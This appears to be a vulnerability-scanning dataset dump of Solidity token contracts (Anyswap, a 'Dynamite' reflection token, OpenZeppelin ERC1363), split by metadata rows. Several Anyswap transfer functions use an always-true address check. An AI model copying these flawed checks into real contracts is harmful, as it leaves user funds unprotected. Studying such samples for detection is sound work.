// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 317,575 | 13,451 |
038f67d385e28ef97b17e609b83cd3d0bd24e8f6bcf2dc2ac2deab8613c56b95
| 25,353 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/Dynamite-0x77d391c3758c056616b0a988f312d35709aed8c2.sol
| 4,476 | 16,494 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dynamite is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Dynamitedefi.link";
string private _symbol = "TNT" ;
uint8 private _decimals = 9 ;
constructor () public {
_name = "Dynamitedefi.link";
_symbol = "TNT" ;
_decimals = 9 ;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 198,821 | 13,452 |
cce68ea83974fb7a8f3806ad99bd2d6c0ec8d39fcbd79a623a08c0dd9c466ddb
| 42,960 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Finance/0x93a7174dafd31d13400cd9fa01f4e5b5baa00d39.sol
| 5,771 | 20,456 |
pragma solidity ^0.4.25;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to,
uint256 value)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Capped.sol
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165Checker.sol
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _InterfaceId_Invalid = 0xffffffff;
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
function _supportsERC165(address account)
internal
view
returns (bool)
{
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return _supportsERC165Interface(account, _InterfaceId_ERC165) &&
!_supportsERC165Interface(account, _InterfaceId_Invalid);
}
function _supportsInterface(address account, bytes4 interfaceId)
internal
view
returns (bool)
{
// query support of both ERC165 as per the spec and support of _interfaceId
return _supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function _supportsAllInterfaces(address account, bytes4[] interfaceIds)
internal
view
returns (bool)
{
// query support of ERC165 itself
if (!_supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId)
private
view
returns (bool)
{
// success determines whether the staticcall succeeded and result determines
// whether the contract at account indicates support of _interfaceId
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account,
bytes4 interfaceId)
private
view
returns (bool success, bool result)
{
bytes memory encodedParams = abi.encodeWithSelector(_InterfaceId_ERC165,
interfaceId);
// solium-disable-next-line security/no-inline-assembly
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(output, 0x0)
success := staticcall(30000, // 30k gas
account, // To addr
encodedParams_data,
encodedParams_size,
output,
0x20 // Outputs are 32 bytes long)
result := mload(output) // Load the result
}
}
}
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol
contract IERC1363 is IERC20, ERC165 {
function transferAndCall(address to, uint256 value) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public returns (bool); // solium-disable-line max-len
function transferFromAndCall(address from, address to, uint256 value) public returns (bool); // solium-disable-line max-len
function transferFromAndCall(address from, address to, uint256 value, bytes data) public returns (bool); // solium-disable-line max-len, arg-overflow
function approveAndCall(address spender, uint256 value) public returns (bool); // solium-disable-line max-len
function approveAndCall(address spender, uint256 value, bytes data) public returns (bool); // solium-disable-line max-len
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol
contract IERC1363Receiver {
function onTransferReceived(address operator, address from, uint256 value, bytes data) external returns (bytes4); // solium-disable-line max-len, arg-overflow
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol
contract IERC1363Spender {
function onApprovalReceived(address owner, uint256 value, bytes data) external returns (bytes4); // solium-disable-line max-len
}
// File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol
contract ERC1363 is ERC20, IERC1363 { // solium-disable-line max-len
using Address for address;
bytes4 internal constant _InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant _InterfaceId_ERC1363Approve = 0xfb9ec8ce;
